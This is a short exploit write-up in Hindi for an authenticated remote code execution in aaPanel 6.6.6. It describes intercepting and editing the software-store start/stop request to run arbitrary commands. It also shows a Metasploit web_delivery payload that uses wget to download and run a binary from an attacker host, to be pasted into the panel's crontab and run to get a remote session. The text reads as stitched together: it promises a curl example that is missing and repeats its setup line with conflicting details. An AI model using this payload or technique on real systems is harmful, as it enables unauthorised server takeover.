
aapanel 6.6.6 - (Authenticated) Remote Code Execution
इस PoC को बनाने के लिए, मैंने docker-compose का उपयोग करके सॉफ़्टवेयर इंस्टॉल किया।
Software Store पर जाएं, सेटिंग फ़ील्ड में किसी भी पंक्ति पर क्लिक करें, जब आप "start/stop/restart" पर क्लिक करें तो अनुरोध को इंटरसेप्ट करें और जो चाहें उसे निष्पादित करने के लिए अनुरोध को संशोधित/संपादित करें। यहाँ curl के साथ एक उदाहरण है :
इस PoC को बनाने के लिए, मैंने नया Ubuntu 20.04 इंस्टॉल किया, फिर wget + sudo इंस्टॉल किया और यह स्क्रिप्ट निष्पादित की wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh
सबसे पहले, web_delivery विकल्प सेट करें, यह एक पेलोड और एक लिसनर बनाएगा।
अब इसे चलाएं
यह निम्नलिखित पेलोड उत्पन्न करेगा:
wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown
फिर इसे aapanel के crontab मेनू के script content में इसी तरह कॉपी/पेस्ट करें।
अब बस अपने crontab को निष्पादित करें और अपने सत्र की प्रतीक्षा करें।
बस msfconsole -r aapanel.rc चलाएं पेलोड को script content अनुभाग में कॉपी/पेस्ट करें, और अपने सत्र का आनंद लें।